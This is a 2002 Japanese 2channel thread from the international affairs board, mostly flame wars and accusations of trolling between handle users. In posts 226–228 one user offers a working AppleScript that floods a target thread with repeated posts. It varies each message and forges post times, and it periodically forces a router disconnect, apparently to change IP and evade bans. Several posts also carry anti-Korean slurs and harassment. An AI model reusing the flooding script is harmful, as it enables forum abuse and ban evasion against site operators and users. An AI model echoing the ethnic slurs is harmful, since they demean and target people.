うおぉーーーーーーーーーーーーーーーっ、一体どうなってんだぁーーーーーーーーっ。
前のスレ立ててから3ヶ月も待ってるのにスレ立てようとするとまだ「スレッド立て過ぎです」って表示されるぞゴルァ!!!

一体あとどれくらい待てばいいんじゃあ。なんでこんなに待っても立てられないんじゃぁ!!!


誰かなんとかしろっ、ゴルァ!!!


214 :名無し三等兵:02/04/01 23:08 ID:???
>>213
(;´д`)y-~~マジデスカ?試しになんかスレ立てようか?
      
      スレ底ageの最中だし、あんまバカなスレ立てるのもなんだから
      一応どんなスレがいいかみんなに募集しよう
      >>all どんなんがいい?

215 :名無しさん@お腹いっぱい。:02/04/01 23:27 ID:XQXhu7nc
今日は支那スレageかよ。
どいつもこいつも馬鹿バッカ。

216 :あぼーん:あぼーん
あぼーん

217 :名無しさん@お腹いっぱい。:02/04/02 00:22 ID:???
赤軍?
それとも枢?
どっちだか知らんが、みっともない事すんなよ。

218 :あぼーん:あぼーん
あぼーん

219 :名無しさん@お腹いっぱい。:02/04/02 02:22 ID:UXglHrDV
枢機郷が分をわきまえて、しおらしくしてれば、この板は問題ない

220 :枢機郷 ◆wiSZ9y22 :02/04/02 02:29 ID:MdY78nBb
>>219

今夜は雑魚ばっかり、つまらんよ。 (藁・(ワラ・(w

221 :妖精ルルフォン ◆Kh9kkh9o :02/04/02 02:31 ID:???
>>217
赤軍さんは
「オマエも在日の仲間だったのか・・ 」
なんて表現しないと思うわ。

        ・・・・・赤軍さんって・・・ウフフ・・・ ・・なのね。


222 :名無しさん@お腹いっぱい。:02/04/02 02:32 ID:???
>>220

大物とは?

223 :あぼーん:あぼーん
あぼーん

224 :名無しさん@お腹いっぱい。:02/04/02 02:45 ID:???
枢機郷のレスも、日を追う毎に姑息さが際だっていくね。
必死になるだけ皆の笑い者。(ププッ

225 : ◆yzlSeA0w :02/04/02 04:00 ID:???
もーだめだこりゃ。
せっかく枢の悪行を全部「四ヶ月(仮称)」になすりつける口実を与えてやったのに。
枢に阿吽の呼吸、腹芸を期待した私がバカだった。

コテハンに粘着する「四ヶ月」が枢とは別の人物だ、っていう認識を
ようやく広めたところでこれかよ。
まあ、あんたは人に感謝するようなタマじゃないだろけどな。

立ち直る機会を完全に失ったね、見限った。終わり。さよなら。


226 : ◆yzlSeA0w :02/04/02 05:06 ID:???
ほれよ、特定スレをターゲットにして
連続投稿する自作スクリプト(笑)だよ。
使えるもんなら使ってみな。

property CRLF : (ASCII character 13) & (ASCII character 10)

set cut to "POST /mconn HTTP/1.1
Host: 192.168.0.1
Accept: */*
Accept-Language: ja
onnection: Keep-Alive
Referer: http://192.168.0.1/conn?
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC)
UA-OS: MacOS
UA-CPU: PPC
Content-type: application/x-www-form-urlencoded
Extension: Security/Remote-Passphrase
Content-length: 35

PP=1&LOGIN=ON&DISCONNECT=%90%D8%92f"

set AppleScript's text item delimiters to return
set cut to text items of cut
set AppleScript's text item delimiters to CRLF
set cut to cut as string

tell application "Internet Explorer"
set rf to item 1 of (GetWindowInfo (item 1 of (ListWindows)))
end tell



227 : ◆yzlSeA0w :02/04/02 05:06 ID:???
set AppleScript's text item delimiters to "/"
set LST to text items of rf
set sv to item 3 of LST
set bbs to item 6 of LST
set sure to item 7 of LST

set kaisuu to text returned of (display dialog "回数" default answer "")

set fr to text returned of (display dialog "名前" default answer "")
set ct to text returned of (display dialog "内容" default answer "")

repeat with i from 1 to kaisuu

repeat with j from 1 to round ((random number) * 10) + 1
set ct to ct & " "
end repeat
set dt to MT Encode URL ct
set ed to "submit=%8F%91%82%AB%8D%9E%82%DE&FROM=" & fr & "&mail=sage&MESSAGE=" & dt & "&bbs=" & bbs ツ
& "&key=" & sure & "&time=" & 1.005305372E+9 + (round ((random number) * 3000))
set ch to count character of ed
set AppleScript's text item delimiters to return
set ddd to ツ
"POST /test/bbs.cgi HTTP/1.1
Host: " & sv & "
Accept: */*
Accept-Language: ja
Connection: Keep-Alive
Referer: " & rf & "
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC)
UA-OS: MacOS
UA-CPU: PPC
Cookie: NAME=; MAIL=
Content-type: application/x-www-form-urlencoded
Extension: Security/Remote-Passphrase
Content-length: " & ch & "

" & ed
set ddd to text items of ddd
set AppleScript's text item delimiters to CRLF
set ddd to ddd as string



228 : ◆yzlSeA0w :02/04/02 05:07 ID:???
tell application "NetEvents 1.2.1 BG"
try
set addr to NameToAddr (sv)
set str to OpenStream addr port 80
WriteStream str data ddd
CloseStream str
on error err number num
"Script Error: " & err & " (" & num & ")"
end try
end tell
if i > 0 and i mod 5 = 0 then
--display dialog "5レス書込完了 続行なら回線切断のちOK"
delay 2
tell application "NetEvents 1.2.1 BG"
try
set addr to NameToAddr ("192.168.0.1")
set str to OpenStream addr port 80
WriteStream str data cut

CloseStream str

on error err number num
"Script Error: " & err & " (" & num & ")"
end try
end tell
end if
end repeat

beep
display dialog "書込み完了"

229 :名無しさん@お腹いっぱい。:02/04/02 10:28 ID:tctIGGm2
オリンピックは国際情勢的にはどうですか?

http://sports.2ch.net/test/read.cgi/olympic/1017691290/l50

230 :名無しさん@お腹いっぱい。:02/04/02 13:22 ID:???
少なくとも、ソルトレイクはマトモな大会じゃなかったな。
スピードスケートの清水が練習を始める時間に、突然整備車両が作業を始めて妨害したり・・・
スポーツの世界でそこまでえげつない攻撃をする米国は、かつての共産圏顔負けの卑怯者。
国威発揚の為に仕組まれた汚い自作自演ショー。


231 :名無しさん@お腹いっぱい。:02/04/02 13:50 ID:jdZIs8a0
>>230
国情板に生息する「某アメリカマンセー事大主義者」に対しての皮肉か?(藁・(ワラ・(w
でも、どうせあいつだったら、そこまでして勝利を追求する「アメリカの知略」を大絶賛するんだろうな。
いつも通りの豪快なダブルスタンダードで。



232 :名無し三等兵:02/04/02 18:45 ID:???
>>◆yzlSeA0w
(;´ー`)y-~~それじゃほとんど「キ○ガイに刃物」状態だよ
       本気で使ったらどうすんの

       まぁ、分かってやってるんだとは思うけど・・・・・・

233 :枢機郷 ◆wiSZ9y22 :02/04/03 00:29 ID:nUUAJ+LZ
◆yzlSeA0w へ。

在日朝鮮人の「マッチポンプ野郎」笑わせるなよ。
「何でも枢機郷のせいにしたい朝鮮ゴキブリ」が、まともな言葉を並べんじゃないよ。
てめえの二枚舌、三枚舌に騙される枢機郷と、思っていたのかい「夢想家の朝鮮ゴキブリ」

age荒らしも、赤軍ZのAAも全部お前だろう。
朝鮮ゴキブリに何が出来るのよ「国際情勢板の削除依頼」だけじゃん。
何がリモホ規制よ、笑っちゃうよ赤い負け犬が。
枢機郷のカキコの前後の「煽り」も、てめえだろう。

   在日朝鮮人の「マッチポンプ野郎」笑わせるなよ「赤い負け犬の消しゴムヒッキー」
汚い自作自演のどチンピラのDRXの「片思いのオカマちゃん」 
自慢げに「ごみソフト」を、ひけらかす「低脳じじいのバカ丸出し」 (藁・(ワラ・(w

234 :名無しさん@お腹いっぱい。:02/04/03 00:39 ID:???
そして歴史は繰り返す・・・
臭い匂いは元から断たなきゃ駄目ってこったね。
さて、皆で踊るとするか?
疲れて倒れる時まで。


235 : ◆yzlSeA0w :02/04/03 02:22 ID:???
見限ったと言いつつ、レスしてしまう往生際の悪いボク。。。

>在日朝鮮人の「マッチポンプ野郎」笑わせるなよ。
>「何でも枢機郷のせいにしたい朝鮮ゴキブリ」が、まともな言葉を並べんじゃないよ。

あなたの仕業でないのならば、わざわざ疑われるような言動をするな。
否定すべきものは否定しろ。

>てめえの二枚舌、三枚舌に騙される枢機郷と、思っていたのかい「夢想家の朝鮮ゴキブリ」
>age荒らしも、赤軍ZのAAも全部お前だろう。

そんな事するわけがない。
国際情勢板をマトモにしようと思って、見えないところでいろいろやってるんだから。
夢想家はあたっているかもしれないが。

>枢機郷のカキコの前後の「煽り」も、てめえだろう。

そう思いたいならそう思えばいい。
私はあなたを叩くことは3/20で完全に止めている。
それ以来、あなたのフォローしかしていない。
なぜフォローしたのか?
それは、3/20以来の数日間のあなたを見て信頼できると思ったからだ。

平和神軍疑惑を否定してあげたのは私だよ?
それ以来、平和神軍がどうのなんてカキコを誰もしなくなっただろう?
そこらで煽ってる腐れ煽りバカと一緒にしないでくれ。

名無し三等兵さんとのやりとりだって、切れるほどのもんではあるまいに。
せっかく良さげな議論をしていた良スレが一気に駄スレになっただろう?

別にこの発言にはレスはいらないから、今後の行動で皆を納得させてくれ。

あなたが何もやましいことをしていないのならば、
「李下に冠を正さず」を肝に銘じるべき。


236 :名無しさん@お腹いっぱい。:02/04/03 02:43 ID:???
今度の珍説は◆yzlSeA0w=赤軍Zだってかい?
いつもと変わらず説得力に欠ける電波だな。
枢機郷がやってる事は、単に自分のプライドを傷付けた相手を侮辱してるだけ。
それもただ、枢機郷の主張の矛盾点を指摘しただけの人達に対して。
今となってはもう、皆が枢機郷の卑屈な動機を見抜いてるよ。

237 :名無しさん@お腹いっぱい。:02/04/03 03:07 ID:???
◆yzlSeA0wはただの暇人だろ。
一体何を考えているんだ?
とても冷静に物事が判断できる人物とは思えない。
むしろそれを遊んでいるようだ。
こんな奴は無視に限る。

238 :名無しさん@お腹いっぱい。:02/04/03 03:16 ID:???
スクリプト荒らしでやばくなったから管理側にこびうってるんよ
◆yzlSeA0w、お前の罪はそんなことで許されるものではない

せいぜいションベンでももらしてろ

239 :名無しさん@お腹いっぱい。:02/04/03 03:27 ID:YIFOvd59
>>237
>>238
枢の連続コピペ荒らしを制圧する目的で行われた◆yzlSeA0wの戦術をいまだに糾弾し続けるなら、
現時点でなお荒らしを継続する枢機郷を不問に付す理由をはっきりさせなよ。
あまりにも恣意的に過ぎるぞ、おまえら。
こりゃ、四ヶ月認定だな。

240 :名無しさん@お腹いっぱい。:02/04/03 07:00 ID:rE+hxkNK
◆yzlSeA0wは優しすぎる・・・。
また枢機郷に更生のチャンスを与えようとしているのか。
もう無駄だよ。
枢機郷を増長させるだけだし、◆yzlSeA0wを目の敵にしたコピペをするだけだろ。
奴に荒らす口実を与えるなってば。
◆yzlSeA0w、お前こそ学習しろ。
枢擁護は罪だ。

241 :名無しさん@お腹いっぱい。:02/04/03 07:17 ID:???
226-228
なんじゃこら?
◆yzlSeA0wはアフォ認定ですな。

242 :名無しさん@お腹いっぱい。:02/04/03 07:29 ID:2Uv1SWFm
なんでも韓でも四ヶ月認定だってさ。(藁)
荒氏の根本原因はAA小僧赤軍Zだろ。赤軍の枢機なりすましだろ。
>>241
>枢擁護は罪だ。
お前は朝鮮総連工作員、学習組認定でいいか。
俺は四ヶ月認定でも別に構わんよ。

最近韓国人電波による粘着が新聞でも取り挙げられているが、
ここでは見事に反映されているようだな。

243 : ◆yzlSeA0w :02/04/03 15:15 ID:rE+hxkNK
お、いよいよ本題に入ってきましたな。
>>242
>荒氏の根本原因はAA小僧赤軍Zだろ。赤軍の枢機なりすましだろ。

なのかな。
そういえばここんとこ名前が挙がってこないね。
どれが赤軍Zの発言?
なりすましを枢は勘違いして、枢のフォロワーだと思っているのかな。


244 : ◆yzlSeA0w :02/04/03 15:19 ID:???
エサ撒いてみたけど、釣れるかな(わくわく)

245 :エワラン ◆X0jRLHdw :02/04/03 15:23 ID:EB645Tug
で、国債情勢板を荒らした犯人は誰だったんだ?

246 :名無しさん@お腹いっぱい。:02/04/03 15:42 ID:???
>>245
チョビン

247 :名無しさん@お腹いっぱい。:02/04/03 16:24 ID:eIIRu9Um
>>245
愚問だな。
枢機郷が荒らしてない様に見えてる奴って、真性の基地外ですか?

枢機郷が荒らしの張本人。
そして枢機郷を相手にする奴等は荒らし幇助罪。

248 :エラワン ◆X0jRLHdw :02/04/03 16:55 ID:062JHX4F
奴の荒らしはあまり好きではなかったが、ライフスペースの高橋代表(だったっけか?)の似顔絵AAは面白かったぞ。
もうすでにあのAAは無くなっちまったけど、あるならまた見てみたいぜ。確か去年の12月か今年の1月頃にはやったAAだったと思われ。



249 :名無しさん@お腹いっぱい。:02/04/03 17:50 ID:YyIAhjM3
>>244
エサまいて釣って楽しむ前◆yzlSeA0wって
国情板荒氏認定で良いのでは。


250 :名無しさん@お腹いっぱい。:02/04/03 17:56 ID:NYXOgY8y
エサって>>240 >>243の自作自演か?
なにがやりたいんだ◆yzlSeA0wは。
キチガイ荒らし認定、こいつは無視。いいね。

251 :名無しさん@お腹いっぱい。:02/04/03 18:13 ID:8cBDp9xa
結局◆yzlSeA0wは煽るのと枢の取りまきと二役やってたんじゃないのか?
このバカが来てから国際情勢板は荒れ放題になっただろ。
荒らして楽しんでるだけの国情板常駐荒氏、それが◆yzlSeA0wだ。

252 :名無しさん@お腹いっぱい。:02/04/03 18:17 ID:???
先代の雑談スレをたたき潰したのも◆yzlSeA0wだった
それから一般スレに雑談があふれた?

ところで249−252に◆yzlSeA0wがまじってるなんてことはないかな

253 :名無しさん@お腹いっぱい。:02/04/03 18:20 ID:eIIRu9Um
プロパガンダが片手落ちだぞ。
◆yzlSeA0wの荒らし(しかも今は既に自粛)をしつこく批判するなら、
何故もっと悪質な枢機郷を不問に付すんだよ。ダブルスタンダードも程々にしろって。
見え透いたえこひいきだから四ヶ月認定されてるんだろうが。クズが。

254 :名無しさん@お腹いっぱい。:02/04/03 18:21 ID:8cBDp9xa
奴ならやりかねん。常駐荒氏だからな。

255 :名無しさん@お腹いっぱい。:02/04/03 18:27 ID:Ww2m8Vdx
◆yzlSeA0wに私怨を抱いてる奴が、必死に印象操作を試みてるようだな。
そういう事は、もう少し巧妙に下心を隠しながらやるもんだぜ。
唐突にDRX攻撃を始める「元祖四ヶ月」と同一人物なのか?

256 :名無しさん@お腹いっぱい。:02/04/03 18:35 ID:SyyirI3k
悪質さでは◆yzlSeA0wだろう
◆yzlSeA0w   スレ潰し=住民のカキコ阻止が目的=荒らし→要追放
枢機郷     宣伝行為が目的→やりすぎ、くどすぎ→要自粛


また枢機郷の宣伝行為はよく読むと◆yzlSeA0wのスレ潰しの悪行
をアピールしたもの
他の住民が◆yzlSeA0wを非難しないから焦ったのだろう
実際には避難していただけなのだが

ちなみに枢機郷を不問に帰してるわけではない
ところで四ヶ月認定ってどういう意味だ?


257 :うひょ:02/04/03 18:39 ID:y7uuCpDy
>>256
ふむふむ。ま、どちらもマターリやっていこうや。

258 :名無しさん@お腹いっぱい。:02/04/03 18:43 ID:8cBDp9xa
その「元祖四ヶ月」が◆yzlSeA0wなんじゃないのか?
とにかく荒らして自分の都合のいいようにもっていきたいだけだから(枢機郷も同じだけど)
コテハンに粘着して板が荒れれば奴の目的どおりだろ。

259 :名無しさん@お腹いっぱい。:02/04/03 18:45 ID:Zay2mzId
関係ないけど、マターリってなんだ?前から気になってたんだけど。

260 :うひょ:02/04/03 18:48 ID:y7uuCpDy
>>259
まったり>マターリ

261 :名無しさん@お腹いっぱい。:02/04/03 18:49 ID:SyyirI3k
DRXは荒らしなんてしてないだろう

◆yzlSeA0w(と>>255)はたぶん在日
枢機郷のやり方というより内容に腹を立ててる(「チョン」とか)
◆yzlSeA0wはとくに荒れていない、枢機郷もときどきしか来ない
朝鮮関連スレもいくつか叩き潰してる

まあ要追放と書いたけど、もうしないならいいけどね
自分にはそういう権限もないし

262 :資金海中?:02/04/03 18:50 ID:???
所在不明船舶に対する韓・米・日情報機関の分析は少しずつ異なるものの、
一致する部分がある。
沈没された所在不明船舶には麻薬と莫大な現金が積まれていた、
という説明だ。

現在、北朝鮮は4月15日の金日成90回誕生日、
アリラン祝典など引き続く行事で外貨需要がおびただしい。
アリラン祝典は、北朝鮮が金日成主席の誕生90周年を迎え、
4月29日から6月29日までの二ヶ月間、平壌5・1競技場で開催する
「大集団体操(マスゲーム)」および芸術公演行事だ。

263 :名無しさん@お腹いっぱい。:02/04/03 19:01 ID:LNhO8SPx
>他の住民が◆yzlSeA0wを非難しないから焦ったのだろう

だって、◆yzlSeA0wの攻撃目標は枢機郷限定だって事はハッキリしていたじゃない。
だから批判者は極めて少ないんだよ。
枢機郷がDQNすぎるんだから、多少勇み足だったのはむしろ同情にあたいする。
俺達は枢機郷に対して何も有効的な対策をとれなかったから、結果的に手を汚さなかっただけだ。
しかも、◆yzlSeA0wも今は反省して謝罪も自粛もしてる。つまりとっくに過去の事だ。
今でも無差別爆撃やデマカセの誹謗中傷を継続する枢機郷の方が、卑劣で悪質だろう。
枢機郷は、マトモに反省も謝罪もしてないって事なんだから。
◆yzlSeA0wの追放を叫ぶなら、まずは枢機郷の追放が先だ。

264 :名無しさん@お腹いっぱい。:02/04/03 19:17 ID:???
国連の事務総長ってどうやったらなれるの?
まず国連に関係する仕事につかないといけないの?

265 :名無し三等兵:02/04/03 22:53 ID:???
(;´ー`)y-~~今回はみんなゲリラコピペに混乱してるね
       ◆yzlSeA0wもなんか事態の全てを掌握してるとは思えないし
       (バナースレでもなんかプッツンした行動とってるし)
       まぁ、誰が犯人にしろ絶対便乗犯もいると思うんだけど・・・・

       全ての元凶は枢暴走時に強制ID採用を見送った管理人にあると
       思うな・・・・・

266 :ののみ:02/04/03 23:24 ID:s1gykSY0
ののみも、yちゃんにんていされたことがあるのよ。
yちゃんは、すくりぷとをじさくできて、かこいいなあ、
かこいいなあ。
yちゃんにんていされたとき、ののみも、yちゃんみたいな、
じつりょくはだとみとめてもらえたみたいで、うれしかったのよ。
でも、ののみはまきゃべりすとだから、yちゃんとはすこしちがうかんがえかたなのよ。
枢ちゃんにたいする、「たいようせいさく」は、ぎゃくこうかなの。
あらしをちゅ〜ちょしない、め〜な枢ちゃんとだきょ〜することは、
あらしにたいする、はいぼくをいみするから、め〜なの。
はんざいしゃがきょ〜りょくだというこうじつで、おま〜りさんが、たい〜ほをちゅ〜ちょするのと、
おなじだから、め〜なのよ。

267 :あぼーん:あぼーん
あぼーん

268 :うひょ:02/04/04 01:58 ID:XUbNeSXT
なんだかなあ。

269 :うひょ:02/04/04 02:03 ID:???
>枢機郷どの
正攻法でアフォを論破できる見識の持ち主なのに・・・。
もったいないかと?いや、マジで。

270 :名無しさん@お腹いっぱい。:02/04/04 02:28 ID:ptLgv3Jy
それが出来ないのもまた枢機郷さんなのれす

えーと確か「枢機郷不変の法則」「枢機郷目には目をの法則」
あのコピペ攻撃で結構おぼえちゃった

271 :名無しさん@お腹いっぱい。:02/04/04 03:44 ID:K+fEeMUr
>>266
ののみ=枢機郷(藁〜

272 :名無しさん@お腹いっぱい。:02/04/04 04:11 ID:???
>>271
根拠が分からんのだが?
ののみは案外肝が座ってる奴だぞ?
枢機郷みたいな小心者とは別人だろう?


273 :エラワン ◆X0jRLHdw :02/04/04 15:15 ID:???
>>267

おーこれだこれだ。まだあったんだ。なんだか感動物だな。
このAAは面白かったよ.で、再び作成したの?
それとも何処かから持ってきたのかな。


274 :名無しさん@お腹いっぱい。:02/04/04 16:39 ID:mV+Uz0wq
htp://messages.yahoo.co.jp/bbs?.mm=GN&action=l&board=1835368&tid=a4ja4bcffckdcbfma4oa1a27ya4oa4la4ka4na4aba1a9&sid=1835368&mid=449

YAHOOで春厨が暴れています。みんなで楽しみましょう。


275 :名無しさん@お腹いっぱい。:02/04/04 17:42 ID:eoIGkVGI
◆yzlSeA0wはアホでうんこ

276 :名無しさん@お腹いっぱい。:02/04/04 18:51 ID:bwgr8hZM
>>275
私怨で中傷する四ヶ月うざい。
お前がアホでうんこ

277 :名無しさん@お腹いっぱい。:02/04/04 18:56 ID:???
>>276

オカマの茶々丸 (藁・(ワラ・(w

278 :名無しさん@お腹いっぱい。:02/04/04 19:05 ID:???
>>277
コテハン隠して禿げ隠さない失業者ハケーン!!
四ヶ月の正体はお前だったのか?
正直言って少し失望したぞ。

279 :名無しさん@お腹いっぱい。:02/04/04 21:34 ID:???
2ちゃんねるのスレのなかで、日本を含めた世界的出来事、歴史、哲学、政治など
総合的に物を見たいのですが、もっとも知性的、議論が活発な人気な所はどこですか? 
やはり国際情勢板なのでしょうか? それとも分野によって万遍なのか?
世界史、哲学など人の少なそうな?ところや、ニュース板のようにスレの進行が早い
ところは抜かして、どなたかくわしい人がいたら教えてください。


280 :名無しさん@お腹いっぱい。:02/04/04 22:09 ID:???
>>279については別の所で聞いてきます。失礼しました。

281 :名無しさん@お腹いっぱい。:02/04/04 22:16 ID:???
>>280
あ〜あ(苦笑

一応、世界史板と軍事板を、お勧めしときます。

282 :名無しさん@お腹いっぱい。:02/04/04 22:19 ID:???
>>281
一応のぞいてはいますので。
どうもありがとうございます。

283 :名無しさん@お腹いっぱい。:02/04/04 22:30 ID:???
ああ、せっかくまともそうな人だったのに逃げられちゃった。


枢機郷の犯した罪の深さよのう。


284 :名無しさん@お腹いっぱい。:02/04/04 23:28 ID:oG6WdUqS
えーと。
素朴な疑問なんですが。

鉱物資源・食糧生産力に恵まれない日本が今後生き残っていくためには、
知性および教育水準の高さが欠かせないと思うのです。
天然資源等に恵まれていれば教育が要らないということはありませんが、
それ以外にないと言う意味で特に必要だと思います。

その点、4月から施行される新指導要綱が、
教育内容の大幅な削減を行っているのは問題ではないでしょうか。

将来的に、日本のさらなる没落を招くのではないかと危惧している次第ですが、
いかがなものでしょう?
杞憂でしょうか?

285 :あぼーん:あぼーん
あぼーん

286 :名無しさん@お腹いっぱい。:02/04/04 23:42 ID:???
枢機郷 ◆wiSZ9y22 は
下のスレで常に監視中です。
こいつのカキコを全部レス番指定してどんどん報告していってください


◆スクリプト&コピペ(乱立)荒らし報告スレ2
http://kaba.2ch.net/test/read.cgi/accuse/1017113655/390




287 :あぼーん:あぼーん
あぼーん

288 :枢機郷 ◆wiSZ9y22 :02/04/05 01:46 ID:Px4/kxcV
>>286

枢機郷がビビるとでも、思っているの「雑魚ちゃん」
スクリプトも知らない「朝鮮雑魚ちゃん」 
2ちゃんは「言論の自由」が保証されている。 (藁・(ワラ・(w

289 : :02/04/05 06:10 ID:???
<ヽ`∀´>ノ <マンセー!マンセー!!

290 :名無しさん@お腹いっぱい。:02/04/05 07:17 ID:???
>>288
スクリプト荒らしも「言論の自由」かよ・・・
こいつ終わってんな。

291 : ◆GLAYIen2 :02/04/05 09:58 ID:ggAo/7/L
久しぶりに板を覗いて見たけれど、
国際情勢と関係ない事で盛り上がってますね。
失った人口は簡単には戻らないということでしょうか。

ところで話題に上がっているage荒らしは、
どのようなスレを上げる傾向があるのでしょうか?

292 : ◆yzlSeA0w :02/04/06 03:19 ID:LXZEe0Yh
>>291
北方領土系、嫌中国・嫌北朝鮮系、右翼系、板に無関係スレ、ってとこでしょうか。


293 : ◆yzlSeA0w :02/04/06 03:31 ID:LXZEe0Yh
まあ私の主観も入ってるんで、話半分に聞いてもらえればと。
>>292を客観的に読んだら、私が情報操作してるみたいに見えてちょっと鬱。

294 :名無しさん@お腹いっぱい。:02/04/06 04:32 ID:pUSchO44
慢性的に反米・反イスラエル・日本謝罪系(ブサヨ系朝鮮系)スレが、
電波ageされて、もう国際板は死滅状態だね。ウヨもその反動で集まり、
手の施しようがない。

世界全体では経済関連、国際協定関連のニュースが溢れ、
ネタに困らない筈が今はこの有様だよ。
俺は偏った常連双方に問題ありと思っているけどな。

295 : ◆yzlSeA0w :02/04/06 05:44 ID:LXZEe0Yh
原爆スレがスレスト。
ちょっと道がずれたけど、あそこから結果的に勝つための行動とは、とか
戦争は外交の一手段に過ぎないとかいう話に持っていきたかったんで、
スレストには個人的には納得いかないものがある。
だけど板違いである事には間違いないんでスレストは妥当。
あの手の話題は日本史板、世界史板、ゴーマニズム板、政治思想板、軍事板、どこでやるのがいいんだろう。
軍事板が妥当なのかな。

296 :東亜連合委員長広報部:02/04/06 05:54 ID:eRqiCV1G
EAUをご存知ですか?

東亜連合って興味アル?

ピンときた方はこのスレへ逝け〜ッ!

  ↓   ↓   ↓   ↓   ↓   ↓

http://mentai.2ch.net/test/read.cgi/china/1017887958/l50


297 :名無し三等兵:02/04/06 06:00 ID:rZ1q/Til
>>◆yzlSeA0w
(;´д`)y-~~オイオイ、あのスレだけはやめてくれ
      途中からの日露戦争関連の議論なんて随分有意義だった
      それ意外にも最近の国際板にしては結構マトモな議論
      してたのに・・・・・・
      まぁ板違いなのは認めるが(ショボーン


298 : ◆yzlSeA0w :02/04/06 06:21 ID:LXZEe0Yh
>>297
私が日露戦争関係のネタを潰したみたいな言い方しないで下さいよ(^^;
むしろ、あのまま話が進展してくれたらなあと思ってたんですから。
たしかに日露戦争の話が出てきたときに、私は前の話の続きをしてて
荒らしを呼んじゃって日露の話を阻害したという責任はありますけど。
私の配慮が足りませんでしたね。すみませんでした。
同時進行でいろんな話が進行するのは十分アリだと思うんですが。
少なくとも、初期の人種差別論とかウヨサヨ路線よりは私の論はマシかと。ダメ?(^^;


299 : ◆yzlSeA0w :02/04/06 06:50 ID:LXZEe0Yh
>>DRX(かな?)
南京大虐殺スレ、あの切り抜け方は卑怯だ!卑怯すぎる!(笑)
あれじゃ返答のしようがないじゃないか。
返答に困る所まで見込んであのレスをつけたのなら、参りました。降参。

300 :名無しさん@お腹いっぱい。:02/04/06 06:59 ID:9zBZKh9q
>>295
>原爆スレがスレスト。

原爆スレがストになったのは、アンタがスレスト依頼出したと
思ってたよ。

301 :名無しさん@お腹いっぱい。:02/04/06 07:08 ID:h3JwWN3/
>>299
「切り抜ける」?
どこを指してそう評してるんだ?
ああいうのを「論破」と言うんじゃないの?(w

302 ::02/04/06 07:09 ID:2AMQwKxE
国際経済学者キム兄貴

http://kaba.2ch.net/test/read.cgi/news2/1016271888/

303 :うひょ:02/04/06 08:14 ID:p1Pap0kv
ところで、なんかオモロイスレを検討してたてていかない?
「コスタリカ」スレのような味のあるやつとか。
「アメリカとロシアの戦争が・・・」ぐらい電波チックなやつとか。
「地政学スレ」のような正統派のやつとか。
「親アングロ・・・」スレのような論戦バリバリのやつとか。
「SINOBI」スレのようなネタスレとか。
荒れないようにする不断の努力とともに、
良スレを地道に育てていくことを再び目指すべきだと思う。
「雑談スレ」で、積極的再建策を考えるのも大事なことかと・・・。


304 :名無しさん@お腹いっぱい。:02/04/06 08:51 ID:QSpdGpd4
>>303
今最もホットなのはパレスチナでしょう。
ただ、これは「親アングロ・・・」スレに入るのかもしれないし、
タリ板逝きかもしれないので、結構難しい。

305 :名無しさん@お腹いっぱい。:02/04/06 08:52 ID:QJhgJybE

      オマエみたいなのが
 ヘヘヘヘヘヘ  ヘヘヘヘヘヘ パッン!!
  \ヽ|7〃∧∧ヽ|7〃/∧_∧
   ヾ|//(,,#゜Д゜)|.//☆( ´∀`)
     凵と_    つ凵   (>>294
      〜′ /       | ||
       ∪ ∪        (_____)__)

      ヘヘヘヘヘヘ
      \ヽ|7〃
       ヾ|// いるから・・
         凵 ∧∧      パッシン!!
        ∩(,,#゜Д゜)     ∧_∧
        ヽ    ヽ   ☆( ´∀`)
         て ⌒)U     (>>294
       彡 し二⊃几    | ||
           //|ヽ彡彡"""""""
         /ノ / |ヽ\彡
         V ヽ/V V V V


306 :名無しさん@お腹いっぱい。:02/04/06 08:53 ID:x5Tpn66h
           駄スレと言われるのが・・
                  _
                  | |へヘヘ
             <\      .| |〃/./>
         <ミヾ\ ∧∧ | 丿 ヽ/ヽ>
         <_ミミヽ (,,#゜Д゜)|__//ノヽヽ> バッコン!!
         |__二二/ こつ匸二二☆彡
           〜′ /   ( ´∀`)
            ∪ ∪    (>>294
                   """""""
         分からんのかぁ!!ゴルァ!!
              _
           へへ| /へヘへ  バッコン!!
           \ヽ|7〃/ミヾ
             ヾ|///__ヾ ヽ   ビッコン!!
              凵 凵 .| /へヘヘ
               ∩ ∩ .| /〃/./>  ブッコン!!
              | |∧| | 丿//ヽ>
        逝って良し!! |#゜Д゜)|彡彡/ノヽヽ> ベッコン!!!
             / こつつヽヽ彡☆彡
           〜′  /  ミミ☆∧  ボッコン!!
            ∪ ∪    ( ´∀`) ←>>294
                   """""""


307 : ◆yzlSeA0w :02/04/06 14:55 ID:LXZEe0Yh
>>300
出すわけないですよ。
>>301
薩摩武士云々が論破とは脱力。オーディエンスはkouei35みたいな感想を持つのがオチかと。

308 :名無しさん@お腹いっぱい。:02/04/06 18:19 ID:FTuvY28G
>>307
はいはい、悔しかったら続きの反論をしてくれ。
あっちのスレでな。
薩摩武士云々は、単に◆yzlSeA0wの問いかけに対する回答でしかないようだぞ。
卑怯も論破もない。
あの名無しがDRXなら、◆yzlSeA0wは奴に遊ばれていたというだけだろう。
本気でkouei35みたいな感想を抱く程の奴なら、DRXに反論するのは容易な筈だろうからな。
ただ、俺が見る限りkouei35も◆yzlSeA0wも、東史郎日記寝言説に対して反論出来ずに、
負け犬の遠吠えをしてるようにしか見えないぞ。

309 :エラワン ◆X0jRLHdw :02/04/06 20:00 ID:pOty1Dol
>>303
>「親アングロ・・・」スレのような論戦バリバリのやつとか。

あのスレはもうじき終了するよ。


310 :名無しさん@お腹いっぱい。:02/04/06 20:32 ID:9e6hPb8j
>>307
「平成の世に薩摩武士道?時代錯誤なり。戯言をほざくイモ侍め、名を名乗れ!!」
とでも返しておけばよかったんじゃない?

311 :名無しさん@お腹いっぱい。:02/04/06 20:45 ID:YrO7vIS/
>>310
「くんくん、どうちゃんの匂いがするの〜」ってか?(藁



312 :匂いの元だ(藁:02/04/06 21:23 ID:F5OVzkEv
ほれ

>45 名前:どうでもいいけど :02/04/06 20:19 ID:9e6hPb8j


313 :名無しさん@お腹いっぱい。:02/04/06 22:35 ID:9e6hPb8j
どうでもいいんだけどね(笑い

314 :名無しさん@お腹いっぱい。:02/04/06 22:46 ID:NDIafVq8
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| 出してくれぇ〜 親アングロ・・・Part 2 立てるんだよぅ
\_________  __________
